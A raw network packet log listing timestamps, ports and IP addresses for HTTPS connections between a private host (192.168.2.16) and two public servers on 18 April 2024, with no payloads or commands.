Apr 18, 2024 23:05:30.995436907 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.023097038 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.064124107 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.115084887 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.115147114 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.115206957 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.115442038 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.115451097 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.261877060 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.261931896 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.261970997 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.261996031 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262027025 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262057066 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262063026 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.262070894 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262106895 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.262118101 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262137890 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262176991 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.262183905 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262531042 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262562990 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262583971 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.262593031 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262630939 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.262908936 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.262983084 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263019085 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263024092 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.263031960 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263079882 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.263087034 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263839960 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263875008 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263891935 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.263900995 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263936996 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.263937950 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263952971 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.263995886 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.264003992 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264731884 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264765978 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264776945 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.264784098 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264817953 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.264825106 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264856100 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.264894962 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.264903069 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265577078 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265619993 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.265626907 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265651941 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265685081 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265690088 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.265702963 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.265746117 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.266449928 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266525984 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266555071 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266572952 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.266582966 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266624928 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.266630888 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266680002 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.266721010 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.266727924 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.267338037 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.267376900 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.267383099 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.267395973 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.267443895 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.267451048 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.267487049 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.267493010 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.268126965 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.268170118 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.268177986 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.319376945 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.319391012 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.341099977 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.341371059 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.341398954 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.342860937 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.342922926 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.343981028 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.344063997 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.344141006 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.344149113 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.366121054 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366200924 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.366214037 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366446972 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366494894 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.366502047 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366538048 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366578102 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.366585016 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366827011 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366871119 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.366879940 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366920948 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366950989 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.366967916 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.366974115 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367007971 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.367016077 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367782116 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367835045 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.367842913 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367891073 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367930889 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367933035 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.367945910 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.367979050 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.367988110 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.368057013 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.368103981 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.368109941 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.369865894 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.369887114 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.369934082 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.369942904 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.369981050 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.370003939 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.370604038 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.370673895 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.370681047 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.370717049 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.371316910 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371362925 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371366024 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.371376991 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371412992 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.371419907 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371483088 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371520042 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.371536970 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371619940 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.371660948 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.371666908 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.372140884 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.372195959 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.372204065 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.372272015 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.372334957 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.372342110 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373030901 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373079062 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.373086929 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373138905 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373188019 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.373205900 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373218060 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373264074 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.373270035 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373280048 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.373348951 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.398379087 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.470587969 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470653057 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.470674992 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470715046 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470762968 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.470771074 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470834017 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470873117 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.470880985 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470918894 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.470957041 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.470963001 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471049070 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471088886 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.471095085 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471143961 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471172094 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471182108 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.471189022 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471211910 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471235037 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.471241951 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471288919 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.471836090 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.471965075 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472001076 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472007990 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472016096 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472052097 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472059011 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472095013 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472134113 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472137928 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472152948 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472197056 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472769976 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472837925 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472877979 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472884893 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472928047 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.472965002 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.472970963 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473015070 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473052979 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.473061085 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473778963 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473809958 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473840952 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473848104 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.473855019 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473865032 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.473886013 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.473893881 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473943949 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.473979950 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.473988056 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.474725008 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.474769115 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.474776983 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.474877119 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.474927902 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.474935055 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.474970102 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.474977016 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475092888 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475131035 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.475136995 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475541115 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475584030 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.475590944 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475688934 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475732088 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.475739956 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475831032 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475872040 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.475878954 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475959063 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.475996971 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.476003885 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476396084 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476438046 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.476447105 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476530075 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476561069 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476566076 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.476573944 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476604939 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.476613045 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476701021 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.476738930 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.476746082 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.477242947 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.477288008 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.477296114 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.478703022 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.478720903 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.478775978 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.478786945 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.478842020 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.480665922 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.480688095 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.480734110 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.480746031 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.480783939 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.482644081 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.482696056 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.482712984 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.482723951 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.482757092 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.482769012 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.484349012 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.484370947 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.484414101 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.484422922 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.484456062 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.484467983 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.486094952 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.486128092 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.486161947 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.486175060 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.486198902 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.486221075 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.487870932 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.487888098 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.487926960 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.487936020 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.487971067 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.487978935 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.490015984 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.490046024 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.490081072 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.490087986 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.490115881 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.491810083 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.491832018 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.491878986 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.491889000 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.491919041 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.493633032 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.493652105 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.493690014 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.493700027 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.493727922 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.493746996 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.520498037 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.520545006 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.520586014 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.520602942 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.520648956 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.572175026 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.572407961 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.572462082 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.572504997 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.572504997 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.572529078 CEST	443	49749	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.572570086 CEST	49749	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.573288918 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.573328972 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.573389053 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.573762894 CEST	49750	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:05:31.573781967 CEST	443	49750	35.190.80.1	192.168.2.16
Apr 18, 2024 23:05:31.574006081 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.574063063 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.574697971 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.574753046 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.575236082 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.575289011 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.575294971 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.575314045 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.575349092 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:31.577020884 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:31.577042103 CEST	443	49748	172.67.191.217	192.168.2.16
